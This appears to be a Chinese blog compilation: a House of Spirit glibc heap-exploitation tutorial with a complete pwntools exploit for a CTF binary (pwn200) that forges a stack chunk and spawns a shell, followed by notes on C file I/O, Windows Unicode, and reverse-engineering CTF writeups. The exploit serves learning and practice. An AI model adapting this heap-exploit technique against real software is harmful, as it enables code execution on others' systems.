HouseofSprit 原理调试验证与实践

由于在一个群无意抢了一个运气王红包,必须得发文章到i春秋论坛,所以水了这篇

原理与调试验证

House of Spirit和其他的堆的利用手段有所不同。它是将存在的指针改写指向我们伪造的块(这个块可以位于堆、栈、bss任何一个位置)并且free掉欺骗glibc达到把伪造块回收到bins中不过在free之前,需要设置当前伪造块和下一个伪造块的size字段,满足free()的安全检测机制,从而欺骗glibc。
下面是heap exploitation 中的demo小程序先感性的体会下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>
struct fast_chunk
{
size_t pre_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];
};

int main(void)
{
struct fast_chunk fake_chunks[2];
void *ptr,*victim;
ptr=malloc(0x30);
fake_chunks[0].size=sizeof(struct fast_chunk);
fake_chunks[1].size=sizeof(struct fast_chunk);
ptr=(void *)&fake_chunks[0].fd;
free(ptr);
victim=malloc(0x30);
}

调试验证

申请两块fake_chunk。

所以:

&fake_chunks[0]=0x7fffffffdda0
&fake_chunks[1]=0x7fffffffdde0

为绕过安全监测机制,设置好当前块和下一块的size字段

改写一个指针指向伪造的块

因为是fd的地址,所以是:0x7fffffffddb0

free之后,伪造的块已经加入到了fastbin的链表中去了


此时再申请和伪造的块大小一样的块

返回了和之前free的伪造块一样的块。
至于地址为什么是&fake_chunks[0]+0x10是因为返回的可用memory就是位于pre_size和size字段之后。这个和chunk的结构有关

为什么当前构造块和下一个构造块要填充size字段?

分析下free的源码就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void 
public_fRE(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; // mem相应的chunk
...
p = mem2chunk(mem); //将 mem转换为chunk地址
if (chunk_is_mmapped(p)) //检查chunk的mmp位
{
munmap_chunk(p); //用unmmap的方式直接取消映射
return;
}
...
ar_ptr = arena_for_chunk(p); //找到chunk对应的area
...
_int_free(ar_ptr, mem); //调用init_free()函数进入正常的free块并检测以及回收的流程
}

为了让伪造的块进入到正常的free流程,所以要使得构造的当前chunk的size字段的mmp对应位是0就行了。

接下来是_init_free函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void _int_free(mstate av, Void_t* mem)
{
mchunkptr p; // mem相应的chunk
INTERNAL_SIZE_T size; //size,大小
mfastbinptr* fb; //联系fast bin
...
p = mem2chunk(mem); //memory转换为chunk
size = chunksize(p); //获得chunksize
...
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) //当前chunk的size字段的比较,不能超过fastbin的最大值
{
if (chunk_at_offset(p, size)->size <= 2 * SIZE_SZ
|| __builtin_expect(chunksize(chunk_at_offset(p, size))
>= av->system_mem, 0)) //比较下一个chunk的size字段,2*SIZE_ZE<chunksize<av->system_mem

{
errstr = "free(): invalid next size (fast)";
goto errout;
}
...
fb = &(av->fastbins[fastbin_index(size)]);
...
p->fd = *fb;
*fb = p;
}
}

所以要设置好下个chunk的size字段。

原理懂了就找题练练手吧

实践

在网上找题练,找来找去,发现有篇一个比赛的wp说xdctf2016的时候,师傅们就出了这样的类似一道题,所以找Klaus师傅要了程序副本,调了下这题
pwn200:
虽然存在非预期的解法,这里不管,只是为了学习HouseOfSpirit。

先分析流程:

看看保护措施:
[upl-image-preview url=//bbs.xdsec.org/assets/files/2018-08-02/1533203221-307788-tim20180802174640.png]

存在offbyone,只要完整的输入48个字节,就会泄露出ebp的值,结合保护措施,因此是可以使用shellcode的,至于怎么触发shellcode,肯定需要使程序控制流跳转到shellcode,这道题要么覆盖返回地址,要么修改free的got表。修改返回地址也有两种方式,一是直接栈溢出覆盖(这里肯定不行,输入长度有限制),二是通过Hos修改。这里只为学习Hos的利用,其他方法的请自行google学习
执行测试就知道:

划线的就是泄露的ebp的值。

输入id的值。
然后进入:

申请了一个块,然后先通过buff获得输入,然后再通过strcpy复制到申请的块当中,并将块的地址赋值到全局变量的指针ptr中去,并且这个ptr是可以被覆盖重写的

然后进入:

这个函数的内容和经典的菜单题没什么区别。

checkout函数是把块给free掉

checkin则是申请块,并填充块的内容
[upl-image-preview url=//bbs.xdsec.org/assets/files/2018-08-02/1533203388-23135-tim20180802174931.png]
仔细调试分析可以发现,在提示输入who are u?的函数里边,id是我们可以控制的,然后进入了函数400A29
然后分配了money局部变量,也是我们可控的,stack的图大致如下

1
2
3
4
5
6
7
8
=============stack===================low

money
...
返回地址
...
id
=====================================high

money和id都是可控的。就返回地址不可控,再结和文章开始houseofspirit的使用条件是两个可控的chunk。
那其实这道题是HouseOfSpirit,已经很明显了。

解题思路

  • 从程序流程开始,先在栈中布置shellcode,并泄露出ebp的值,从而计算出shellcode在栈中的地址。

  • 输入id作为下一个chunk的size字段的id的值

  • 将局部分量money伪造成一个chunk,构造好大小并且使得大小把返回地址包括在内,把ptr的值溢出覆盖为构造的chunk的地址,这个地址可以通过泄露的ebp计算出来

  • free掉伪造的chunk

  • 重新申请大小和伪造的chunk一致的块,使得系统将伪造的chunk分配给我们

  • 申请回来之后,返回地址就是我们可控的了,再将shellcode的地址写入返回地址处,控制程序返回就可以getshell

栈中布置图

在本地调试时,获得了关键的变量的地址,然后自己拼了这个图(当时stack的布局):

调试关键:
0x400ac7处打断点,查看泄露ebp以及shellcode布置相关
0x400b26处打断点,查看id在栈中的位置
0x400a5f处打断点,伪造chunk

exp及源文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
context.endian="little"
log.info( "====start====")
p=process("./pwn200")
p.recvuntil("?\n")
shellcode=asm(shellcraft.amd64.linux.sh())
payload1=shellcode+(48-len(shellcode))*"a"
#payload1="a"*48
log.info("====leaking the ebp===")
p.send(payload1)
p.recvuntil(payload1)
ebp=u64(p.recv(6)+'\0\0')
shellcode_addr=ebp-0x50
mem_addr=ebp-0x90
print "shellcode_addr:"+hex(shellcode_addr)
print "mem_addr:"+hex(mem_addr)
log.info("====construct the fake chunk====")
p.recvuntil("?\n")
next_chunk_size=0x20
p.send(str(next_chunk_size)+'\n')
padding=p64(0)*4
chunk_presize=p64(0x1)
chunk_size=p64(0x41)
ptr=p64(mem_addr)
payload=padding+chunk_presize+chunk_size+p64(0)+ptr
p.recvuntil("~\n")
p.send(payload+(0x40-len(payload))*"\0")
p.recvuntil(": ")
p.send("2\n")
p.recvuntil(": ")
p.send("1\n")
p.recvuntil("long?\n")
p.send("48\n")
p.recvuntil("money : ")
log.info("write the ret address to shellcode")
payload2="1"*0x18+p64(shellcode_addr)
p.send(payload2)
log.info("===get the shell===")
p.recvuntil(": ")
p.send("3\n")
p.interactive()

c语言fread()fwrite()fseek()

好久没用c语言的这部分的东西了,今天看到一个练习是:将notepad.exe读取到内存中,然后将这片内存中的内容写入到一个空二进制文件中,看新生成的二进制文件是否可执行

不做这个练习,凭自己大一瞎搞过来的经验也知道,是可以执行的,可是实际做的时候居然不行,是因为对C语言文件操作部分不熟,被坑了好久。。。唉

涉及到几个函数的使用:fclose()、fopen()、fread()、fwrite()、fseek()

fopen()

fopen()是文件打开函数,返回可以访问文件内容的文件指针

使用格式:

fopen(“filename”,”mode”);

filename为要打开的路径
mode为:w(写)、r(读)、a(追加)以及配合他们使用的b(二进制方式)
不使用带b后缀的打开模式时,使用文本模式

fclose()

fclose()用于断开系统与打开的文件的指针的之间的联系,可以使得还在缓冲区中的数据保存到文件中
使用格式: fclose(FILE *fp)

fread()

从文件流中读数据,最多读取count个项,每个项size个字节,如果调用成功返回实际读取到的项个数(小于或等于count),如果不成功或读到文件末尾返回0

原型:

size_t fread ( void _buffer, size_t size, size_t count, FILE_ stream) ;

参数:

参 数

buffer 用于接收数据的内存地址

size 要读的每个数据项的字节数,单位是字节

count 要读count个数据项,每个数据项size个字节.

stream 输入流

返回值 返回真实读取的项数,若大于count则意味着产生了错误。另外,产生错误后,文件位置指示器是无法确定的。若其他stream或buffer为空指针,或在unicode模式中写入的字节数为奇数,此函数设置errno为EINVAL以及返回0.

fwrite()

向指定的文件中写入若干数据块,如成功执行则返回实际写入的数据块数目。该函数以二进制形式对文件进行操作,不局限于文本文件

原型:

size_t fwrite(const void _buffer, size_t size, size_t count, FILE_ stream);

参数:

(1)buffer:是一个指针,对fwrite来说,是要获取数据的地址;

(2)size:要写入内容的单字节数;

(3)count:要进行写入size字节的数据项的个数;

(4)stream:目标文件指针;

(5)返回实际写入的数据项个数count。

fseek()

执行成功的话,stream将指向以fromwhere为基准,偏移offset(指针偏移量)个字节的位置,函数返回0。如果执行失败(比如offset超过文件自身大小),则不改变stream指向的位置,函数返回一个非0值。

原型:

int fseek(FILE *stream, long offset, int fromwhere);

函数设置文件指针stream的位置。如果执行成功,stream将指向以fromwhere(偏移起始位置:文件头0(SEEK_SET),当前位置1(SEEK_CUR),文件尾2(SEEK_END))为基准,偏移offset(指针偏移量)个字节的位置。如果执行失败(比如offset超过文件自身大小),则不改变stream指向的位置。

下面是我的实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#define _CRT_SECURE_NO_WARNINGS

#include<stdio.h>

#include<stdlib.h>

int main(int argc, char *argv[])

{

int length;

FILE * fp = fopen(argv[1], "rb"); //可读模式打开文件

fseek(fp, 0, SEEK_END); //将文件指针弄到文件位

length = ftell(fp); //将文件的长度返回给length

fseek(fp, 0, SEEK_SET);

char * text = (char *) malloc(length*sizeof(char));

fread(text, sizeof(char), length, fp);

fseek(fp, 0, SEEK_SET);

FILE *op = fopen(argv[2], "wb");

fwrite(text, sizeof(char), length,op); //将加载到内存中的文件写入到一个二进制文件中

fclose(fp);

fclose(op);

free(text);

}

windows程序开发中Unicode和多字符

windows程序开发中的Unicode和多字符

Ascii码与多字符

早期c语言使用的是Ascii码,也就是一个字节表示一个字符,8位可以表示256个不同的信息,所以可以表示256个字符,因扩展不同,ascii有几个版本,但是一个字节并不能表示很多其他的一些字符,所以使用了多字符集,也就是原本是ascii码的继续使用一个字节去表示,其他各个国家的语言文字及符号使用两个字节表示

例如下面的这个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

int main(void)

{

char c = '国';

char str[] = "中国";

int i;

i = strlen(str);

printf("%c\n", c);

printf("%s\n", str);

printf("长度:%d\n", i);

return 0;

}

运行结果如图:

因为国字是以多字符存储存储的,但是单字节变量C只能存储一个字节的东西,这个时候会存储表示国字的多字符的后半个字节。所以会乱码!
鉴于多字符的不兼容性,所以发明出了Unicode

Unicode

Unicode是一种使用两个字节表示一个字符的编码,所以可以表示目前世界上的所有的字符。

使用Unicode的函数也不再是以前使用多字符集的那些函数了,二是对应的Unicode版(也就是现在所说的宽字符版)

宽字符版的字符类型:wchar_t

在给宽字符的字符变量和字符串变量赋值时要在前面加上L ,编译器才会将其识别并以unicode存储
并且使用
宽字符版的打印函数的格式控制串前要加L此外打印宽字符的格式说明符不再是%c而是 %lc打印宽字符串的是%ls而不是%s**
下面是常见的字符处理函数对应的宽字符版:

printf(“格式化控制串”,参数列表) ———— wprintf(L”格式化控制串”,参数列表)

strlen(str) ———- wcslen(str)

sprintf(目标字符缓冲区,”格式化控制串”,参数列表)————swprintf(目标字符缓冲区,L”格式化控制字符串”,参数列表)

_snprintf(目标字符缓冲区,最大长度,”格式化控制串”,参数列表)———–_snwprintf(目标字符缓冲区,最大长度,L”格式化控制串”,参数列表)

参数数组的指针

vsprintf(存放格式化控制串的数组指针,参数数组的指针)——— _vsprintf(存放格式化控制串的数组指针,参数数组的指针)

下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main(void)

{

wchar_t c = L'国';

wchar_t str[] = L"玩re的小明";

int i;

i = wcslen(str);

setlocale(LC_ALL, "chs"); //设置语言为中文

wprintf(L"%lc\n", c);

wprintf(L"打印字符串:%ls\n", str);

wprintf(L"字符串长度:%d\n", i);

return 0;

}

运行结果为:

windows通用版

鉴于使用ascii码时不能使用unicode,反之亦然,所以windows推出了通用版本的这些函数,和变量类型 TCHAR

详细的话看图,使用方法和我上面写的一样。

TCHAR.H这个头文件中包含了通用的函数和通用的字符类型

要补充的是通用版本的printf()为_tprintf(),使用时在控制字符串前加上_T()或者_TEXT()宏。然后在编译器的项目属性里面使用宽字符**即可,或者在源文件的最开头
加一句:

#define _UNICODE //定义了这个宏 可以使用通用版本的函数和_T()、__T()、_TEXT()宏

#define UNICODE //定义了这个宏,就可以使用通用的数据类型,和TEXT()宏
下面是一个使用windows版的小程序

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(void)



TCHAR str[]=_T("玩re的小明");

setlocale(LC_ALL, "chs"); //设置语言为中文

_tprintf(_T("%ls"),str);

return 0;

}

执行结果:

writeup for whctf2017 re

writeup for whctf re部分

花了一天时间试了下whctf的水,比赛第一天做了两个题,后面的题连是啥也不知道,自己还是太菜,后来比赛快结束的时候去看了下题,发现又出了一道题,esayhook,当时太忙,没做,抽空逆了下这道题
算上这题的话,总共三个题的writeup,一直没写wp,写这个writeup算是对这个比赛做一点总结吧,顺便把坑填上,当然也给奋斗在二进制这条道路的小伙伴们一些帮助吧,虽然网上早已有writeup,但是我觉得还是很有必要分享下我自己的逆向思路,如果有朋友发现有错误遗漏之处,或者说是有更好的思路,咱们可以相互之间交流讨论下。

Crackme

直接OD,先试着输入123456789
然后弹出一个对话框,一看就是messagebox,然后查看调用模块,Messagebox,发现有两个,两个都试着调试,然后你就会调试到下面的地方:

这里其实是先比较flag的长度,33.

在调试过程中,直接把它nop掉往后调,你就会发现,伪输入会一个一个的与flag比较,动态调的话,flag直接就出来!

re2 BabyRE

  • 试运行

和常规的re一样,一个叫你输入flag然后判断flag的正误。

  • 静态分析

因为个人不擅长使用Linux所以很少使用Linux做re题,我看到网上大佬是用gdb动态调试然后在适当的地方下断点做出来的。
在这里小膜一下,那些大师傅们!所以我用Ida64打开看了下。

graph模式:(如图)



习惯看汇编就直接看,读的多了,能力就上升得很快了。
我在做题的时候采用边f5边用汇编看

ps:注意下面的小红字sp analysis failed
出现这种情况就是出题人使用了特殊的一些指令或者代码使得ida分析时堆栈不平衡了,以至于Ida不认为它是一个函数。所以使用f5的时候,会出现错误提示。

怎么解决这种问题?

只要手动使堆栈平衡就行

1.按下空格转换到文本模式,拖到loc40062这个函数的附近如图:
2.打开ida上方的Option->General->将stack pointer 给勾上如图:

勾上后就会显示sp的值如图:

注意我划线的地方,一个call之后的,栈指针就显示得很大了。
这就是为什么Ida不能自动识别的原因。
怎么办呢?

如果想修改某条指令的sp值的话,将鼠标指向他的上一条指令,然后按alt+k修改栈指针。修改的是时候需要根据堆栈平衡原理来改变相应指令的堆栈指针的值。

修改好的如下:

然后就可以f5了,如图:

只能说有一点用,对新手友好一点而已,关键的地方还是要看汇编才能解决问题的。

关键的地方:

程序大致逻辑原理

将一个数据段的内容,一字节形式与0xc相与,然后这个数据段变化成代码,然后调用这个函数,这个函数的参数就是我们输入的flag,其实质就是在比较我们的flag。

  • 3写keygen

按我们之前的分析的话,得将那个数据段的内容分别与oxc想与,然后将处理后的内容作为一个函数调用,因此我们想写keygen的话必须把数据处理了来。

目前我知道的有两种方法:

-1.使用idapython(因为个人实在太菜,花了一个多小时看,还写不了,只能往后补坑了)

-2.使用winhex(这个是我无计可施的情况下,兔师傅告诉我的,感谢兔师傅,不然这题只能干瞪眼了)

使用winhex修改代码
在ida中找到相应的偏移地址,然后在winhex里面选中那一块,然后将其与oxc异或。就不细说了!
然后ida识别就行。

修改,识别之后如图:

EasyHook

1.试运行

没有什么特别的地方

2.IDA静态分析

由于之前分析了,后把文件给删了,逆向的注释都没有了,所以写的比较简洁。

先获得进程ID,然后打开对应的PID的进程获得句柄,然后,加载库文件,获得库文件中write函数的地址,然后将sub_401080-write函数的偏移地址-5传入 那个4010D0,然后修改当前进程中write函数的地址对应内存保护权限,然后调用writememory函数将传入的偏移地址的内容传送到write函数中,但是写入0个字节,所以根本没做什么实质性改变,然后调用write函数假装要些什么,实际上啥也没写,然后 401240这个函数 比较flag了,比较成功的话,就返回一,就验证成功了,网上的wp中都是用OD,调到那个函数里面去的,如果真的修改了,函数的内容,OD调试的话,难度还是很大的!

南邮re writeup

writeup-南邮攻防平台RE练习

RE300 第一题

拖进IDA里面看一下:

易知flag长度为24,大致思路是输入flag,输入的flag经过sub_4005B6这个函数处理,处理之后看flag和dword_601060这个里面存的数据一致(涉及数据类型的转换)。

为了便于分析,修改了一下变量名,加了些注释:

进入 flag处理函数看一下。

有图可知是读取特定数据段中的数据元素,根据数据元素的值进行switch case操作,看循环便知道要进行5000次的循环,而且每个循环都是根据那个特定数据段中的5000个不同的数据来进行的不同的操作,动态调试的可能性几乎为0,只能静态分析,要是能提取出那个数据段中的15000个数据,逆向的进行循环操作就达到解密的操作了。
感谢杜神指点,才知道ida有一个专门的导出特定的数据的功能,不然这题我是没法做的,还是太菜。

注意到:

这个是dword数据,我逆的时候,没注意,改变了它的数据类型,写了错的解密程序,然后刚了一会汇编:

读到画圈的地方才恍然大悟,flag经过处理之后的结果要和这个601060数据段中以doubleword大小读取的前24个元素一致。这个crackme一共要导出两次数据。

下面进入15000的那个数据段,导出数据。一般情况下都是进去先把它根据情况设置为合适的数据类型,恰好这里就是字节型的,所以不用设置了。然后再把这些数组生成一个数组(右键,选着arry)

出现如图所示的直接确定就行,毕竟我对ida也不熟。
设为数组之后,按shif+e把他导出:

我是以16进制形式把他导出的。(ida会把这个这个数组以c语言声明定义数组的形式给导出到一个txt文件中)
另外一个数组同理可导出。

然后写一个解密的小程序就行,当时python不熟,用的c写的辣鸡小程序

程序源文件和keygen打包

密码:as5r

RE300 第二题

占位等下写

RE500

这题还是有趣,学到了新技能:正则表达式

我的分析过程:

使用ida打开大致看看

打开后,转换到graph模式
打开后如图:
ida graph显示

可以看到结构当中的显眼的红字:Sorry, this node is too big to display

鼠标点一下,按空格,转换为文本模式,如图:
ida文本模式
手动下滑,当时被吓住了,滑动栏走得太慢了,一气呵成,拖到底,大致算了下,有60万条汇编指令…

回过神来,看了些汇编指令,发现绝大多数的指令都是再往几个变量里面赋值和异或什么的,大约有几十万条,明显就是在混淆

当时的思路就是,去其糟粕取其精华

ida f5大法好啊

指令太多,不适合刚,所以使用f5大法看看,由于有一部分的代码有60万之多,所以f5的时候,一度卡住了,造成了ida被日的假象,去问兔师傅被怼,要对ida有信心!
所以等了十分钟左右,显示出了可爱的类C代码,如图:
f5大法好啊

可以看到类似这样的语句:

dword_6941B4 ^= dword_6941B0; 与某个变量异或
dword_694150 = -1304438312; 将一些值赋给变量

往下使劲拖,发现事情开始变得简单

关键之处

用re菜鸡的直觉感觉到了,这就是flag经过前面混淆部分的代码处理后,最终和目标进行比较

发现重要的东西只有byte_694100-byte_694119,这是flag存储的位置,和dword_694060
这时我有一个大胆的想法,就是混淆语句都是处理的694119以后的,所以只要去除和694119以后位置的语句就行

所以事情变得简单了:
只要去除混淆代码,真相就大白了。

去除混淆代码

俗话说,魔高一丈,道高一尺:

办法总比困难多。ctr + c复制到notepad++
开始处理。
可以看到:
相似
有很多类似的语句怎么处理呢?

问了下兔师傅,兔师傅说用正则,于是花了些时间,学了下notepad的正则表达式,在查找里面打开正则表达式,查找到相应的大致语句,然后替换就行

这里有两个可以参靠的学习notepad++的正则的资料:

正则语法

正则使用学习例子

使用

dword_6941[^0-1][0-9A-F]\s\^= dword_6941[^0-1][0-9A-F]\;

就可以去除上面相似中的语句。

使用:

dword_6941[^0-1][0-9A-F]\s=\s\d+;
匹配赋值语句

然后就是将byte_6941xx类的东西整理成相应的数组变量。
使用:

byte_6941([0-2][0-9A-F])

去匹配这些内容
,然后自己替换成:

flag[0x\1]

ps:这时候这个下标时16进制,后续还要处理,不过这个处理简单,不用正则就行,这个就不说了。

然后变得越来越清晰了。

实际上就是**将flag的位进行加减或者异或,只要逆序并且+变-,-变+,++变–,–变++
就能写出kegen了

写keygen

替换之后,然后将操作逆向替换就行+变-,-变+,++变–,–变++)
最后就是将语句逆向了,排列了,问了下小伙伴,可以c语言用字符串数组数组实现也可以用c++的std流(好像是),我自己用的是py,py大法好啊
然后再逆过来即可